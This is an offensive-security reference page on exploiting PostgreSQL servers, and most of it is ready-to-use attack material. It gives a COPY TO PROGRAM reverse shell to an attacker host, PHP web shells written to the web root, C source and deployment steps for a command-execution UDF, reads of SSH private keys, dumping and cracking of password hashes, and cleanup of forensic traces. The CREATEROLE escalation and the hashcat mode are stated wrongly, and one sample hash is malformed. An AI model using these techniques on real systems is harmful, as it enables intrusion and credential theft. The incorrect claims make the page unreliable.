# PostgreSQL RCE and Exploitation

> Exploit PostgreSQL for RCE via COPY TO/FROM PROGRAM, UDF injection, and privilege escalation techniques targeting misconfigured or authenticated database instances.

- **URL:** https://hackindex.io/services/postgresql/exploitation/postgresql-rce-and-exploitation
- **Path:** PostgreSQL > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/postgresql/exploitation.md)
- **Published:** 2026-05-06
- **Updated:** 2026-05-06

Before attempting any of the techniques below, confirm the privilege level of the current session. Most of the high-value paths require superuser or the `pg_execute_server_program` role. Run this first:

- COPY TO PROGRAM: OS Command Execution
- pg_read_file: Arbitrary File Read
- Large Object File Write
- UDF RCE via Custom Extension: Linux
- Password Hash Extraction
- Privilege Escalation via CREATEROLE

```sql
SELECT rolname, rolsuper, rolcreaterole FROM pg_roles WHERE rolname = current_user;
```

`rolsuper = t` unlocks all techniques on this page. `rolcreaterole = t` without superuser opens a privilege escalation path covered at the end. Without either, the file read and COPY-based RCE techniques will fail with a permission error.

All examples assume an active psql session on the target. To connect from the attacker machine:

```bash
PGPASSWORD=$PASSWORD psql -h $TARGET_IP -p ${PORT:-5432} -U $USER -d $DATABASE
```

## COPY TO PROGRAM: OS Command Execution

`COPY TO PROGRAM` is the primary PostgreSQL RCE vector. It passes the output of a SELECT directly to a shell command. Requires superuser or the `pg_execute_server_program` role (available since PostgreSQL 11).

Reverse shell:

```bash
COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"';
```

Set up the listener before executing:

```bash
nc -lvnp $LPORT
```

`COPY FROM PROGRAM` also executes commands and writes output into a table, which is useful if you need to capture command output rather than get a shell:

```sql
CREATE TABLE cmd_output (line TEXT);
COPY cmd_output FROM PROGRAM 'id';
SELECT * FROM cmd_output;
```

To write a web shell instead of getting a reverse shell, use `COPY TO` with a file path. The postgres OS user must have write access to the target directory:

```sql
COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php';
```

> [!NOTE]
> OPSEC: `COPY TO PROGRAM` spawns a subprocess under the postgres OS user. The command appears in the system process list and may be logged by the database if `log_min_duration_statement` or `log_statements` is configured.

## pg_read_file: Arbitrary File Read

`pg_read_file` reads files from disk as the postgres OS user. Available since PostgreSQL 9.1, requires superuser.

```sql
SELECT pg_read_file('/etc/passwd');
SELECT pg_read_file('/root/.ssh/id_rsa');
SELECT pg_read_file('/etc/postgresql/14/main/postgresql.conf');
```

The function returns the full file contents as text. Useful for reading SSH private keys, application config files with credentials, or the PostgreSQL config to understand the installation. If the postgres OS user does not have read permission on the file, the function returns an error rather than empty output.

## Large Object File Write

Large objects provide an alternative write path that does not require `COPY TO PROGRAM`. The `lo_import` and `lo_export` functions move data between disk and the large object storage inside the database.

Import a file from disk into a large object:

```sql
SELECT lo_import('/etc/passwd', 1337);
```

Export a large object back to disk at a different path:

```sql
SELECT lo_export(1337, '/tmp/passwd_copy');
```

To write a web shell using this method, first insert the payload into a large object, then export it to the web root:

```sql
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (9001, 0, decode('3c3f7068702073797374656d28245f4745545b22636d64225d293b203f3e', 'hex'));
SELECT lo_export(9001, '/var/www/html/shell.php');
```

The hex string above decodes to `<?php system($_GET["cmd"]); ?>`. Generate it for any payload with:

```bash
echo -n '<?php system($_GET["cmd"]); ?>' | xxd -p | tr -d '\n'
```

`lo_import` and `lo_export` require superuser. Clean up the large object after use to reduce artifacts:

```sql
SELECT lo_unlink(1337);
```

## UDF RCE via Custom Extension: Linux

When `COPY TO PROGRAM` is unavailable or blocked, loading a custom shared library is an alternative RCE path. Compile a `.so` with a function that executes shell commands, write it to disk using large object export, then register it with `CREATE FUNCTION`. Requires superuser and write access to a path PostgreSQL loads libraries from (typically `/usr/lib/postgresql/<version>/lib/` or a path in `dynamic_library_path`).

This technique is complex and noisy: it leaves a binary on disk, a new function in `pg_proc`, and potentially a new extension entry. Prefer `COPY TO PROGRAM` whenever possible.

### Step 1: Compile the Shared Library

Create the C source on your attacker machine. This defines a PostgreSQL-compatible function that passes a string argument to `system()`:

```c
#include "postgres.h"
#include "fmgr.h"
#include <stdlib.h>

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PG_FUNCTION_INFO_V1(sys_exec);
Datum sys_exec(PG_FUNCTION_ARGS) {
    char *command = text_to_cstring(PG_GETARG_TEXT_P(0));
    PG_RETURN_INT32(system(command));
}
```

Compile against the PostgreSQL server headers. Match the target's PostgreSQL major version:

**Compile for PostgreSQL 14**

```bash
gcc -shared -fPIC -o sys_exec.so sys_exec.c -I$(pg_config --includedir-server)
```

If `pg_config` is not available on the attacker machine, use the header path directly. For PostgreSQL 14 on Debian/Ubuntu: `-I/usr/include/postgresql/14/server`. For cross-compilation targeting a different architecture, install the matching `postgresql-server-dev-<version>` package.

### Step 2: Deploy via Large Objects

Convert the compiled library to hex and inject through the SQL session. First, determine the target library path:

```sql
SELECT setting FROM pg_config WHERE name = 'PKGLIBDIR';
#           setting
# ----------------------------
#  /usr/lib/postgresql/14/lib
```

Convert the .so to hex on the attacker machine:

```bash
xxd -p sys_exec.so | tr -d '\n' > sys_exec.hex
wc -c sys_exec.hex
```

Write the hex payload to disk on the target through large objects. Each `pageno` holds up to 2048 bytes of decoded binary (4096 hex characters). Split the hex file and paste each chunk:

```sql
SELECT lo_create(1234);
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (1234, 0, decode('<HEX_CHUNK_0>', 'hex'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (1234, 1, decode('<HEX_CHUNK_1>', 'hex'));
SELECT lo_export(1234, '/usr/lib/postgresql/14/lib/sys_exec.so');
SELECT lo_unlink(1234);
```

### Step 3: Register and Execute

Create the SQL function pointing to the deployed library:

```sql
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/usr/lib/postgresql/14/lib/sys_exec.so', 'sys_exec' LANGUAGE C STRICT;
# CREATE FUNCTION
```

Execute commands through the function. Reverse shell:

```sql
SELECT sys_exec('bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"');
```

The function returns the exit code of the command (0 = success).

### Cleanup

Remove artifacts after obtaining access:

```sql
DROP FUNCTION IF EXISTS sys_exec(text);
SELECT lo_unlink(1234);
```

Delete the `.so` from disk through a shell if you have execution. The function registration in `pg_proc` is removed by `DROP FUNCTION` but database logs may still contain the CREATE and execution statements.

## Password Hash Extraction

Dump all user hashes from `pg_shadow`. Requires superuser: non-superuser accounts cannot read this view.

```bash
SELECT usename, passwd FROM pg_shadow;
#  usename  | passwd
# ----------+----------------------------------------------
#  postgres | md53175bce1d3201d16594cebf9d7eb3f9d
#  appuser  | md5be4d38f1f7a5b9c2e0a3d6e1c4b2a8f
```

PostgreSQL stores passwords as `md5` followed by the MD5 hash of the password concatenated with the username. Crack with hashcat using mode 11100:

```bash
hashcat -m 11100 hashes.txt /usr/share/wordlists/rockyou.txt
```

Or with john:

```bash
john --format=postgres hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

Format the hash for hashcat as `$postgres$*username*hash_value` if your version requires it. John handles the raw format from the query output directly.

## Privilege Escalation via CREATEROLE

If the current account has `rolcreaterole = t` but is not a superuser, it can create a new superuser role and use it:

```sql
CREATE ROLE pwned SUPERUSER LOGIN PASSWORD 'P@ssw0rd';
```

Then reconnect as the new superuser account and proceed with the techniques above.

Alternatively, if the current user can ALTER existing roles:

```bash
ALTER ROLE $USER SUPERUSER;
```

This only works if the current user has `rolcreaterole` privilege and the target role is not already protected. In practice, `CREATE ROLE` with a fresh superuser account is more reliable and less likely to conflict.
